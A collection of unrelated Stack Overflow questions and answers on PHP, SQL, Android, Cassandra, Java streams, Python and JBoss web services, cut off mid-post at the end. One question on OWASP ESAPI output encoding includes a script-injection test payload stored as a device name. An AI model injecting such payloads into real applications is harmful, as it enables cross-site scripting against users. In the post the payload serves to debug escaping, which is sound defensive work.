23084967	0	How to get browser name,version? <p>I have write script for detect bworser name ,os and broser vesion below is the code.</p> <pre><code>function getBrowser() { $u_agent = $_SERVER['HTTP_USER_AGENT']; $bname = 'Unknown'; $platform = 'Unknown'; $version= ""; $ub = ""; //First get the platform? if (preg_match('/linux/i', $u_agent)) { $platform = 'linux'; } elseif (preg_match('/macintosh|mac os x/i', $u_agent)) { $platform = 'mac'; } elseif (preg_match('/windows|win32/i', $u_agent)) { $platform = 'windows'; } // Next get the name of the useragent yes seperately and for good reason if(preg_match('/MSIE/i',$u_agent) &amp;&amp; !preg_match('/Opera/i',$u_agent)) { $bname = 'Internet Explorer'; $ub = "MSIE"; } elseif(preg_match('/Firefox/i',$u_agent)) { $bname = 'Mozilla Firefox'; $ub = "Firefox"; } elseif(preg_match('/Chrome/i',$u_agent)) { $bname = 'Google Chrome'; $ub = "Chrome"; } elseif(preg_match('/Safari/i',$u_agent)) { $bname = 'Apple Safari'; $ub = "Safari"; } elseif(preg_match('/Opera/i',$u_agent)) { $bname = 'Opera'; $ub = "Opera"; } elseif(preg_match('/Netscape/i',$u_agent)) { $bname = 'Netscape'; $ub = "Netscape"; } // finally get the correct version number $known = array('Version', $ub, 'other'); $pattern = "#(?&lt;browser&gt;" . join("|", $known) .")[/]+(?&lt;version&gt;[0-9.|a-zA-Z.]*)#"; if (!preg_match_all($pattern, $u_agent, $matches)) { // we have no matching number just continue } // see how many we have $i = count($matches['browser']); if ($i != 1) { //we will have two since we are not using 'other' argument yet //see if version is before or after the name if (strripos($u_agent,"Version") &lt; strripos($u_agent,$ub)){ $version= $matches['version'][0]; } else { $version= $matches['version'][1]; } } else { $version= $matches['version'][0]; } // check if we have a number if ($version==null || $version=="") {$version="?";} return array( 'userAgent' =&gt; $u_agent, 'name' =&gt; $bname, 'version' =&gt; $version, 'platform' =&gt; $platform, 'pattern' =&gt; $pattern ); } </code></pre> <p>this script returns only broser name,plathform(os name) but not return version of brwoser. I don't know what is the problem.</p> <p>above script give me a output of browser name and version on my windows server but not getting on amazon server.</p> <p>if any another way to get browser name,version then please suggest.</p>
218080	0	 <p>You can try: </p> <pre><code>pbPassport.Image = Image.FromStream(ms); </code></pre>
21207213	0	Select SQL Inner Join and Omit Certain Record <p>I have two tables with following data:</p> <p>Table A</p> <pre><code>ID DESC 1 One 2 Two 3 Three </code></pre> <p>ID is primary key</p> <p>Table B shows the action I did to ID in table A</p> <pre><code>NO ACTION ID DATETIME 1 ADD 1 2012-01-01 00:00:00 2 ADD 2 2012-01-01 00:00:00 3 ADD 3 2012-01-01 00:00:00 4 DELETE 2 2012-01-01 01:00:00 5 EDIT 1 2012-01-01 02:00:00 6 EDIT 3 2012-01-01 03:00:00 7 DELETE 1 2012-01-01 03:00:00 8 REVIVE 2 2012-01-01 04:00:00 9 EDIT 2 2012-01-01 05:00:00 </code></pre> <p>NO is primary key</p> <p>Here's the summary:</p> <p>ID 1: ADD on 2012-01-01 00:00:00, EDIT on 2012-01-01 02:00:00, and DELETE on 2012-01-01 03:00:00</p> <p>ID 2: ADD on 2012-01-01 00:00:00, DELETE on 2012-01-01 01:00:00, REVIVE on 2012-01-01 04:00:00, EDIT on 2012-01-01 05:00:00</p> <p>ID 3: ADD on 2012-01-01 00:00:00, EDIT on 2012-01-01 03:00:00</p> <p>How do I query the table to get following result:</p> <p>Table C</p> <pre><code>NO DESC 2 Two 3 Three </code></pre> <p>What I want to do is: to query the Table A that not having DELETE action at the last transaction time so I get only the active ID</p> <p>I tried to do inner join but got stuck on how to omit ID that having delete action at the last transaction time. Any suggestion/comment would be appreciated.</p>
187508	0	 <p>Apparently, not in form of millisecs.</p> <p>Which actually makes sense, since they do not have any running operations on current date/time:</p> <p><a href="http://www.ixora.com.au/notes/date_representation.htm" rel="nofollow noreferrer">http://www.ixora.com.au/notes/date_representation.htm</a></p> <p><a href="http://infolab.stanford.edu/~ullman/fcdb/oracle/or-time.html" rel="nofollow noreferrer">http://infolab.stanford.edu/~ullman/fcdb/oracle/or-time.html</a></p> <p><a href="http://www.akadia.com/services/ora_date_time.html" rel="nofollow noreferrer">http://www.akadia.com/services/ora_date_time.html</a></p>
25710105	0	 <p>I would go with a different approach (though yours is not wrong in any way but I think is less common):</p> <p>Let the status be part of HTTP header with an HTTP return code (200, 201, ..., 400, 404, ..., etc.) and in the case you mentioned, an JSON array instead of the result field: [{...}, ...]</p> <p>A simple example:</p> <p>Request:</p> <pre><code>GET /api/v1/users HTTP/1.1 </code></pre> <p>Response:</p> <pre><code>200 OK Content-Type: application/json Date: Sun, 07 Sep 2014 15:24:04 GMT Content-Length: 261 .... [ { "username": ..., "email": ..., "firstName": ..., "lastName": ..., "password": ..., ... }, { "username": ..., "email": ..., "firstName": ..., "lastName": ..., "password": ..., ... } ] </code></pre>
30190340	0	 <p>Here is my suggestion:</p> <pre><code>\[[\w\s&amp;.-]*\]'[\w\s&amp;.-]+'![A-Z]{1,4} </code></pre> <p>In JS:</p> <pre><code>var re = /\[[\w\s&amp;.-]*\]'[\w\s&amp;.-]+'![A-Z]{1,4}/gi; </code></pre> <p><code>[\w\s&amp;.-]*</code> will match all alphanumeric characters and <code>_</code> with spaces, <code>&amp;</code>, <code>.</code> and <code>-</code>. The <code>[A-Z]{1,4}</code> will match 1 to 4 uppercase English letters. The <code>i</code> option will make matching case-insensitive. If you want to allow digits in the last part, just revert them to <code>[A-Z0-9]{1,4}</code>.</p> <p>See <a href="https://regex101.com/r/oE1yV9/3" rel="nofollow">demo</a></p>
30544813	0	 <p>It means your project has hit the limit. Read: <a href="https://developer.android.com/tools/building/multidex.html">https://developer.android.com/tools/building/multidex.html</a></p> <p>You need to enable multidex, which you can by:</p> <pre><code>defaultConfig { ... multiDexEnabled true } dependencies { ... compile 'com.android.support:multidex:1.0.0' } </code></pre> <p>extend your Application class with <a href="https://developer.android.com/reference/android/support/multidex/MultiDexApplication.html">MultiDexApplication</a> and edit your AndroidManifest.xml as explained in the link itself.</p>
22857363	0	java script - using parse.com query with angular ng-repeat <p>I make a query from parse.com angd get and array of 2 object. Now I want to user ng-reapet('phone in phones') , so I need to convert it to json. I didn't suucess to do it. for some reason, it doesnt see the result as a json.</p> <pre><code> var Project = Parse.Object.extend("Project"); var query = new Parse.Query(Project); query.find({ success: function (results) { var allProjects = []; for (var i = 0; i &lt; results.length; i++) { allProjects.push(results[i].toJSON()); } $scope.phones = allProjects; //i also tried this : $scope.phones = JSON.stringify(allProjects); }, error: function (error) { alert("Error: " + error.code + " " + error.message); } }); </code></pre> <p>Thanks</p>
2258771	1	Prevent a console app from closing when not invoked from an existing terminal? <p>There are many variants on this kind of question. However I am specifically after a way to prevent a console application in Python from closing when it is not invoked from a terminal (or other console, as it may be called on Windows). An example where this could occur is double clicking a <code>.py</code> file from the Windows explorer.</p> <p>Typically I use something like the following code snippet, but it has the unfortunate side effect of operating even if the application is invoked from an existing terminal:</p> <pre><code>def press_any_key(): if os.name == "nt": os.system("pause") atexit.register(press_any_key) </code></pre> <p>It's also making the assumption that all Windows users are invoking the application from the Windows "shell", and that only Windows users can execute the program from a location other than an existing terminal.</p> <p>Is there a (preferably cross platform) way to detect if my application has been invoked from a terminal, and/or whether it is necessary to provide a "press any key..." functionality for the currently running instance? Note that resorting to batch, bash or any other "wrapper process" workarounds are highly undesirable.</p> <h2>Update0</h2> <p>Using <a href="http://stackoverflow.com/questions/2258771/prevent-a-console-app-from-closing-when-not-executed-from-a-terminal/2258980#2258980">Alex Martelli's</a> answer below, I've produced this function:</p> <pre><code>def register_pause_before_closing_console(): import atexit, os if os.name == 'nt': from win32api import GetConsoleTitle if not GetConsoleTitle().startswith(os.environ["COMSPEC"]): atexit.register(lambda: os.system("pause")) if __name__ == '__main__': register_pause_before_closing_console() </code></pre> <p>If other suitable answers arise, I'll append more code for other platforms and desktop environments.</p> <h2>Update1</h2> <p>In the vein of using <a href="http://sourceforge.net/projects/pywin32/" rel="nofollow noreferrer">pywin32</a>, I've produced <strong>this</strong> function, which improves on the one above, using the accepted answer. The commented out code is an alternative implementation as originating in Update0. If using pywin32 is not an option, follow the link in the <a href="http://stackoverflow.com/questions/2258771/prevent-a-console-app-from-closing-when-not-invoked-from-an-existing-terminal/2261219#2261219">accepted answer</a>. Pause or getch() to taste.</p> <pre><code>def _current_process_owns_console(): #import os, win32api #return not win32api.GetConsoleTitle().startswith(os.environ["COMSPEC"]) import win32console, win32process conswnd = win32console.GetConsoleWindow() wndpid = win32process.GetWindowThreadProcessId(conswnd)[1] curpid = win32process.GetCurrentProcessId() return curpid == wndpid def register_pause_before_closing_console(): import atexit, os, pdb if os.name == 'nt': if _current_process_owns_console(): atexit.register(lambda: os.system("pause")) if __name__ == '__main__': register_pause_before_closing_console() </code></pre>
33034534	0	Is possible to associate models with current time conditions? <p>Is possible to get two models associated with current time condition?</p> <pre><code>&lt;?php class SomeModel extends AppModel { public $hasOne = array( 'ForumBan', 'ForumBanActive' =&gt; array( 'className' =&gt; 'ForumBan', 'conditions' =&gt; array('ForumBanActive.end_time &gt;' =&gt; time()) // fatal error ), ); } </code></pre> <p>I don't want to add this condition every time i call <code>find</code> on ForumBan model.</p>
26886540	0	How to override a function in a package? <p>I am using a package from <code>biopython</code> called <code>SubsMat</code>, I want to override a function that is located in SubsMats <code>__init__.py</code>.</p> <p>I tried making a class that inherits <code>SubsMat</code> like this:</p> <pre><code>from Bio import SubsMat class MyOwnSubsMat(SubsMat): </code></pre> <p>but you cannot inherit a package I guess. I cannot alter the source code literally since it is a public package on the network. Is there any workaround for a noob like me?</p>
33829387	0	Cross-Site Scripting: encodeForHTML for HTML content (The OWASP Enterprise Security API) <p>I have a HTML select Tag in my JSP</p> <pre><code>&lt;%@ taglib prefix="esapi" uri="http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API"%&gt; &lt;select&gt; ... &lt;option value="volvo"&gt;${device.name}&lt;/option&gt; .... &lt;/select&gt; </code></pre> <p>I set this as device name in the DB</p> <pre><code>"&gt;&lt;script&gt;alert(1)&lt;/script&gt;2d65 </code></pre> <p>I've tried to get rid of the alert when I load the page using</p> <pre><code>&lt;esapi:encodeForHTMLAttribute&gt;${device.name}&lt;/esapi:encodeForHTMLAttribute&gt; </code></pre> <p>or</p> <pre><code>&lt;esapi:encodeForHTML&gt;${device.name}&lt;/esapi:encodeForHTML&gt; </code></pre> <p>or</p> <pre><code>&lt;c : out value="${device.name}"/&gt; </code></pre> <p>or</p> <pre><code> &lt;esapi:encodeForJavaScript&gt;${device.name}&lt;/esapi:encodeForJavaScript&gt; </code></pre> <p>But there is no way ! The alert message always appears when loading the page !</p> <p>In fact, I see that the characters are escaped, but even that an alert appears in the JSP</p> <p><a href="https://i.stack.imgur.com/B0qTY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/B0qTY.png" alt="enter image description here"></a></p>
30197051	0	Delete-Upsert-Read Access Pattern in Cassandra <p>I use Cassandra to store trading information. Based on the queries available, I design my CF as below:</p> <pre><code>CREATE trades (trading_book text, trading_date timestamp, OTHER TRADING INFO ..., PRIMARY KEY (trading_book, trading_date)); </code></pre> <p>I want to delete all the data on a given date in the following way:</p> <ol> <li>collect all the trading books (which are stored somewhere else);</li> <li>evenly distribute all the trading books in 20 threads;</li> <li>in each thread, loop through the books, and</li> </ol> <p>DELETE FROM trades WHERE trading_book='A_BOOK' AND trading_date='2015-01-01'</p> <p>There are about 1 million trades and the deletion takes 2 min to complete. Then insert the trading data on 2015-01-01 again (about 1 million trades) immediate after the deletion done.</p> <p>When the insertion done and I re-read the data, I got the error even with query timeout set to 600 seconds:</p> <pre><code>ReadTimeout: code=1200 [Coordinator node timed out waiting for replica nodes' responses] message="Operation timed out - received only 0 responses." info={'received_responses': 0, 'required_responses': 1, 'consistency': 'ONE'} info={'received_responses': None, 'required_responses': None, 'consistency': 'Not Set'} </code></pre> <p>It looks like some data inconsistency in the CF now, i.e. the coordinator could identify the partition, but there is no data on the partition?</p> <p>Is there anything wrong with my access pattern? How to solve this problem?</p> <p>Any hints will be highly appreciated! Thank you.</p>
31460552	0	 <p>Okay, <a href="https://s3.amazonaws.com/downloads.mesosphere.io/dcos/stable/single-master.cloudformation.json" rel="nofollow">given the DCOS template</a>, the LaunchConfiguration for the slaves looks like this: (I've shortened it somewhat)</p> <pre><code>"MasterLaunchConfig": { "Type": "AWS::AutoScaling::LaunchConfiguration", "Properties": { "IamInstanceProfile": { "Ref": "MasterInstanceProfile" }, "SecurityGroups": [ ... ], "ImageId": { ... }, "InstanceType": { ... }, "KeyName": { "Ref": "KeyName" }, "UserData": { ... } } } </code></pre> <p>To get started, all you need to do is add the <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-as-launchconfig.html#cfn-as-launchconfig-spotprice" rel="nofollow"><code>SpotPrice</code></a> property in there. The value of <code>SpotPrice</code> is, obviously, the maximum price you want to pay. You'll probably need to do more work around autoscaling, especially with alarms and time of day. So here's your new <code>LaunchConfiguration</code> with a spot price of $1.00 per hour:</p> <pre><code>"MasterLaunchConfig": { "Type": "AWS::AutoScaling::LaunchConfiguration", "Properties": { "IamInstanceProfile": { "Ref": "MasterInstanceProfile" }, "SecurityGroups": [ ... ], "ImageId": { ... }, "InstanceType": { ... }, "KeyName": { "Ref": "KeyName" }, "UserData": { ... }, "SpotPrice": 1.00 } } </code></pre>
12444646	0	ember.js: keep sidebar with a list of items while I'm creating or editing a record <p>Basically, I want a simple structure: a sidebar (with a list of games), and forms in the center (new/edit).</p> <p>So, when user access the route route /games/new, it'll render the new form in the center, and keep the sidebar in left. When user access /games/1/edit, it'll render de edition form in the center, keep sidebar in the left and select the item that is being edited.</p> <p>My problem is about the sidebar. I didn't find a way to solve this, I think that I need to use 2 distinct controllers, but I don't know...</p> <p><a href="http://jsfiddle.net/alexandrebini/8BKE8/19/" rel="nofollow">http://jsfiddle.net/alexandrebini/8BKE8/19/</a></p>
16747658	0	 <p>You should to init needed layout messages through Mage_Core_Controller_Varien_Action::_initLayoutMessages()</p> <p>Example:</p> <pre><code>public function resultAction() { $this-&gt;_title($this-&gt;__('Printer Applicable Products')); $this -&gt;loadLayout() -&gt;_initLayoutMessages('checkout/session') -&gt;_initLayoutMessages('catalog/session') $this-&gt;renderLayout(); } </code></pre> <p>You need to init a session model that contains needed messages.</p> <p>Also keep in mind that <strong>printer/finder/result.phtml</strong> should contain </p> <pre><code>$this-&gt;getMessagesBlock()-&gt;getGroupedHtml() </code></pre>
10980861	0	make draggable div property false in prototype <p>I have a div in prototype and it is draggable I want to make its draggable property false. How can I do it? Thanks.</p> <pre><code>&lt;div id="answer_0_3" class="dragndrop_0 foreign dropped_answer" &gt;Notebook&lt;/div&gt; </code></pre> <p>My draggables are as follows:</p> <pre><code>var draggables = []; $$('.answer.dragndrop_0').each(function(answer) { draggables.push( new Draggable( answer, {revert: 'failure', scroll: window} ) ); }); </code></pre>
3683646	0	 <p>Besides helping you getting your job done it's a job of almost every framework out there. Check what <a href="http://rubyonrails.org" rel="nofollow noreferrer">Ruby on Rails</a>, <a href="http://www.djangoproject.com" rel="nofollow noreferrer">Django</a>, <a href="http://en.wikipedia.org/wiki/Java_Platform,_Enterprise_Edition" rel="nofollow noreferrer">Java EE</a> do and you'll see exactly what I'm trying to say.</p> <p>You may find it implemented more frequently in frameworks written in dynamic languages since they allow easy extension of the language by writing DLSs.</p>
36522839	0	 <p>You'd need to use a different list for each checkpoint.</p> <p>Normally I would not recommend using stream operations to mutate state in this way, but for debugging purposes I think it's ok. In fact, as @BrianGoetz points out below, debugging was the reason why <code>peek</code> was added.</p> <pre><code>int[] nums = {3, -4, 8, 4, -2, 17, 9, -10, 14, 6, -12}; List&lt;Integer&gt; checkPoint1 = new ArrayList&lt;&gt;(); List&lt;Integer&gt; checkPoint2 = new ArrayList&lt;&gt;(); List&lt;Integer&gt; checkPoint3 = new ArrayList&lt;&gt;(); List&lt;Integer&gt; checkPoint4 = new ArrayList&lt;&gt;(); int sum = Arrays.stream(nums) .peek(checkPoint1::add) .map(n -&gt; Math.abs(n)) .peek(checkPoint2::add) .filter(n -&gt; n % 2 == 0) .peek(checkPoint3::add) .distinct() .peek(checkPoint4::add) .sum(); System.out.println(checkPoint1); System.out.println(checkPoint2); System.out.println(checkPoint3); System.out.println(checkPoint4); System.out.println(sum); </code></pre> <p>Output:</p> <pre><code>[3, -4, 8, 4, -2, 17, 9, -10, 14, 6, -12] [3, 4, 8, 4, 2, 17, 9, 10, 14, 6, 12] [4, 8, 4, 2, 10, 14, 6, 12] [4, 8, 2, 10, 14, 6, 12] 56 </code></pre>
5729615	0	 <p>Doesn't seem to be possible without altering ASyncImageView or handling it with an observer.</p>
40109590	0	 <p>Linking accounts requires that the user authenticates with each of those accounts.</p> <p>By signing in to an account/provider, the user proves they "own" that account at that provider. There is no way to link accounts without requiring the user to sign in to each account. </p>
3186196	1	Python+Scipy+Integration: dealing with precision errors in functions with spikes <p>I am trying to use scipy.integrate.quad to integrate a function over a very large range (0..10,000). The function is zero over most of its range but has a spike in a very small range (e.g. 1,602..1,618).</p> <p>When integrating, I would expect the output to be positive, but I guess that somehow quad's guessing algorithm is getting confused and outputting zero. What I would like to know is, is there a way to overcome this (e.g. by using a different algorithm, some other parameter, etc.)? I don't usually know where the spike is going to be, so I can't just split the integration range and sum the parts (unless somebody has a good idea on how to do that).</p> <p>Thanks!</p> <p>Sample output:</p> <pre><code>&gt;&gt;&gt;scipy.integrate.quad(weighted_ftag_2, 0, 10000) (0.0, 0.0) &gt;&gt;&gt;scipy.integrate.quad(weighted_ftag_2, 0, 1602) (0.0, 0.0) &gt;&gt;&gt;scipy.integrate.quad(weighted_ftag_2, 1602, 1618) (3.2710994652983256, 3.6297354011338712e-014) &gt;&gt;&gt;scipy.integrate.quad(weighted_ftag_2, 1618, 10000) (0.0, 0.0) </code></pre>
17453450	0	DNS server in country A and hosting in B <p>This is something where I get confused.. </p> <p>Say I acquired a domain name blabla.ge (ge is for Georgia) and hosting my files with US based hosting company. What are the downsides if any and is there an option to change the DNS server? </p> <p>Cheers!</p>
33650274	0	 <pre><code>&lt;script&gt; var key = "12k4353535352311"; var res = key.substring(0,4)+'-'+key.substring(4,12)+'-'+key.substring(12,16); //This contains 12k4-35353535-2311 &lt;/script&gt; </code></pre>
3508306	0	 <p>If you can use javascript, you can do it:</p> <pre><code>document.title </code></pre>
9248137	0	 <p>Add a variable that keeps track of the current slide. </p> <pre><code>$("document").ready(function(){ var counter = 1; $("#back").click(function() { if( counter &gt; 1 ) { $("#gallery").animate({"left": "+=104px"}, "slow"); counter--; } }); $("#forward").click(function(){ if( counter &lt; 4 ) { $("#gallery").animate({"left": "-=104px"}, "slow"); counter++; } }); }); </code></pre>
17490386	0	 <p>Check your log files (find them in your vhosts file or the sites-available files) to get the error. Your .htaccess appears to be fine.</p>
8325114	0	 <p>This <a href="http://aduni.org/courses/algorithms/" rel="nofollow">course</a> on algorithms of aduni can also help</p>
32488489	0	 <p>Okay, so first of all you will need to implement the <code>MouseListener</code> interface. You can either have your main class implement <code>MouseListener</code>, or attach a generic implementation to a <code>JPanel</code> via <code>addMouseListener()</code>. The latter method is described below:</p> <pre><code>public class MyPanel extends JPanel { public MyPanel() { // ... this.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { if (e.getButton() == MouseEvent.BUTTON1) { // Handle left-click } else if (e.getButton() == MouseEvent.BUTTON2) { // Handle right-click } } }); } } </code></pre> <p>You can also check <code>e.isShiftDown()</code> to see if the Shift key is being held.</p>
16039492	0	 <p>This boils down to the way Vim behaves; when you close a window, Vim does not move to the last active window. Unfortunately, there's no way around this, as it isn't really viable to remember the "last active window" from Vim's perspective; window ids are not constant in vim, so there's no reliable way to script the exact behaviour you want.</p>
1414562	0	 <p>In fact CoCreateGuid() calls <a href="http://msdn.microsoft.com/en-us/library/aa379205%28VS.85%29.aspx" rel="nofollow noreferrer">UuidCreate()</a>. The generated Data Types<a href="http://msdn.microsoft.com/en-us/library/aa379358%28VS.85%29.aspx" rel="nofollow noreferrer">(UUID,GUID)</a> are exactly the same. On Windows you can use both functions to create GUIDs</p>
17477338	0	How to resolve org.jboss.ws.WSException: Policy not supported in JBoss AS 4.2.? <p>I created a client web service from the following wsdl definition: </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;wsdl:definitions name="DadosBiometricos" targetNamespace="http://tempuri.org/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:tns="http://tempuri.org/" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsap="http://schemas.xmlsoap.org/ws/2004/08/addressing/policy" xmlns:wsaw="http://www.w3.org/2006/05/addressing/wsdl" xmlns:msc="http://schemas.microsoft.com/ws/2005/12/wsdl/contract" xmlns:wsa10="http://www.w3.org/2005/08/addressing" xmlns:wsx="http://schemas.xmlsoap.org/ws/2004/09/mex" xmlns:wsam="http://www.w3.org/2007/05/addressing/metadata"&gt; &lt;wsp:Policy wsu:Id="WSHttpBinding_IDadosBiometricos_policy"&gt; &lt;wsp:ExactlyOne&gt; &lt;wsp:All&gt; &lt;sp:TransportBinding xmlns:sp="http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"&gt; &lt;wsp:Policy&gt; &lt;sp:TransportToken&gt; &lt;wsp:Policy&gt; &lt;sp:HttpsToken RequireClientCertificate="false" /&gt; &lt;/wsp:Policy&gt; &lt;/sp:TransportToken&gt; &lt;sp:AlgorithmSuite&gt; &lt;wsp:Policy&gt; &lt;sp:Basic256 /&gt; &lt;/wsp:Policy&gt; &lt;/sp:AlgorithmSuite&gt; &lt;sp:Layout&gt; &lt;wsp:Policy&gt; &lt;sp:Strict /&gt; &lt;/wsp:Policy&gt; &lt;/sp:Layout&gt; &lt;/wsp:Policy&gt; &lt;/sp:TransportBinding&gt; &lt;wsaw:UsingAddressing /&gt; &lt;/wsp:All&gt; &lt;/wsp:ExactlyOne&gt; &lt;/wsp:Policy&gt; &lt;wsdl:types&gt; &lt;xsd:schema targetNamespace="http://tempuri.org/Imports"&gt; &lt;xsd:import schemaLocation="https://dadosbiometricos.valid.com.br/DadosBiometricos.svc?xsd=xsd0" namespace="http://tempuri.org/" /&gt; &lt;xsd:import schemaLocation="https://dadosbiometricos.valid.com.br/DadosBiometricos.svc?xsd=xsd1" namespace="http://schemas.microsoft.com/2003/10/Serialization/" /&gt; &lt;xsd:import schemaLocation="https://dadosbiometricos.valid.com.br/DadosBiometricos.svc?xsd=xsd2" namespace="http://schemas.datacontract.org/2004/07/B2G_DetranGO_Biometrico" /&gt; &lt;/xsd:schema&gt; &lt;/wsdl:types&gt; &lt;wsdl:message name="IDadosBiometricos_ConsultarBiometria_InputMessage"&gt; &lt;wsdl:part name="parameters" element="tns:ConsultarBiometria" /&gt; &lt;/wsdl:message&gt; &lt;wsdl:message name="IDadosBiometricos_ConsultarBiometria_OutputMessage"&gt; &lt;wsdl:part name="parameters" element="tns:ConsultarBiometriaResponse" /&gt; &lt;/wsdl:message&gt; &lt;wsdl:portType msc:usingSession="false" name="IDadosBiometricos"&gt; &lt;wsdl:operation name="ConsultarBiometria"&gt; &lt;wsdl:input wsaw:Action="http://tempuri.org/IDadosBiometricos/ConsultarBiometria" message="tns:IDadosBiometricos_ConsultarBiometria_InputMessage" /&gt; &lt;wsdl:output wsaw:Action="http://tempuri.org/IDadosBiometricos/ConsultarBiometriaResponse" message="tns:IDadosBiometricos_ConsultarBiometria_OutputMessage" /&gt; &lt;/wsdl:operation&gt; &lt;/wsdl:portType&gt; &lt;wsdl:binding name="WSHttpBinding_IDadosBiometricos" type="tns:IDadosBiometricos"&gt; wsp:PolicyReference URI="#WSHttpBinding_IDadosBiometricos_policy" /&gt; &lt;soap12:binding transport="http://schemas.xmlsoap.org/soap/http" /&gt; &lt;wsdl:operation name="ConsultarBiometria"&gt; &lt;soap12:operation soapAction="http://tempuri.org/IDadosBiometricos/ConsultarBiometria" style="document" /&gt; &lt;wsdl:input&gt; &lt;soap12:body use="literal" /&gt; &lt;/wsdl:input&gt; &lt;wsdl:output&gt; &lt;soap12:body use="literal" /&gt; &lt;/wsdl:output&gt; &lt;/wsdl:operation&gt; &lt;/wsdl:binding&gt; &lt;wsdl:service name="DadosBiometricos"&gt; &lt;wsdl:port name="WSHttpBinding_IDadosBiometricos" binding="tns:WSHttpBinding_IDadosBiometricos"&gt; &lt;soap12:address location="https://dadosbiometricos.valid.com.br/DadosBiometricos.svc" /&gt; &lt;wsa10:EndpointReference&gt; &lt;wsa10:Address&gt;https://dadosbiometricos.valid.com.br/DadosBiometricos.svc &lt;/wsa10:Address&gt; &lt;/wsa10:EndpointReference&gt; &lt;/wsdl:port&gt; &lt;/wsdl:service&gt; &lt;/wsdl:definitions&gt;** </code></pre> <p>When i try instantiate a new DadosBiometricosValid() throws an exception at constructor:</p> <pre><code>16:25:02,296 ERROR [PolicyDeployer] Unsupported assertion! 16:25:02,297 INFO [STDOUT] 16:25:02,297 ERROR [root] Policy not supported! #WSHttpBinding_IDadosBiometricos_policy org.jboss.ws.WSException: Policy not supported! #WSHttpBinding_IDadosBiometricos_policy at org.jboss.ws.WSException.rethrow(WSException.java:60) at org.jboss.ws.extensions.policy.metadata.PolicyMetaDataBuilder.deployPolicyClientSide(PolicyMetaDataBuilder.java:319) at org.jboss.ws.extensions.policy.metadata.PolicyMetaDataBuilder.deployPolicy(PolicyMetaDataBuilder.java:277) at org.jboss.ws.extensions.policy.metadata.PolicyMetaDataBuilder.processPolicies(PolicyMetaDataBuilder.java:236) at org.jboss.ws.extensions.policy.metadata.PolicyMetaDataBuilder.processPolicyExtensions(PolicyMetaDataBuilder.java:193) at org.jboss.ws.metadata.builder.jaxws.JAXWSClientMetaDataBuilder.buildMetaData(JAXWSClientMetaDataBuilder.java:94) at org.jboss.ws.core.jaxws.spi.ServiceDelegateImpl.&lt;init&gt;(ServiceDelegateImpl.java:140) at org.jboss.ws.core.jaxws.spi.ProviderImpl.createServiceDelegate(ProviderImpl.java:64) at javax.xml.ws.Service.&lt;init&gt;(Service.java:81) at gov.goias.valid.servico.DadosBiometricosValid.&lt;init&gt;(DadosBiometricosValid.java:47) at gov.goias.biometria.detran.ServicoValid.consultarBiometria(ServicoValid.java:43) at gov.goias.biometria.detran.ServicoValid.consultaBiometria(ServicoValid.java:37) at gov.goias.controle.detran.SalvarBiometria.salvarBiometria(SalvarBiometria.java:22) at gov.goias.controle.detran.SalvarBiometria.exec(SalvarBiometria.java:35) at gov.goias.controle.detran.ControllerDetran.doGet(ControllerDetran.java:44) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:182) at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:84) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.jboss.web.tomcat.service.jca.CachedConnectionValve.invoke(CachedConnectionValve.java:157) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:262) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844) at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:446) at java.lang.Thread.run(Thread.java:662) Caused by: org.jboss.ws.extensions.policy.deployer.exceptions.UnsupportedPolicy at org.jboss.ws.extensions.policy.deployer.PolicyDeployer.deployClientSide(PolicyDeployer.java:173) at org.jboss.ws.extensions.policy.metadata.PolicyMetaDataBuilder.deployPolicyClientSide(PolicyMetaDataBuilder.java:310) ... 33 more </code></pre> <p>My class is :</p> <pre><code>/** * This class was generated by the JAX-WS RI. * JAX-WS RI 2.1.3-b02- * Generated source version: 2.1 * */ @WebServiceClient(name = "DadosBiometricos", targetNamespace = "http://tempuri.org/", wsdlLocation = "https://dadosbiometricos.valid.com.br/DadosBiometricos.svc?wsdl") public class DadosBiometricosValid extends Service { private final static URL DADOSBIOMETRICOS_WSDL_LOCATION; private final static Logger logger = Logger.getLogger(DadosBiometricosValid.class.getName()); static { URL url = null; try { URL baseUrl; baseUrl =DadosBiometricosValid.class.getResource("."); url = new URL(baseUrl, "https://dadosbiometricos.valid.com.br/DadosBiometricos.svc?wsdl"); } catch (MalformedURLException e) { logger.warning("Failed to create URL for the wsdl Location: 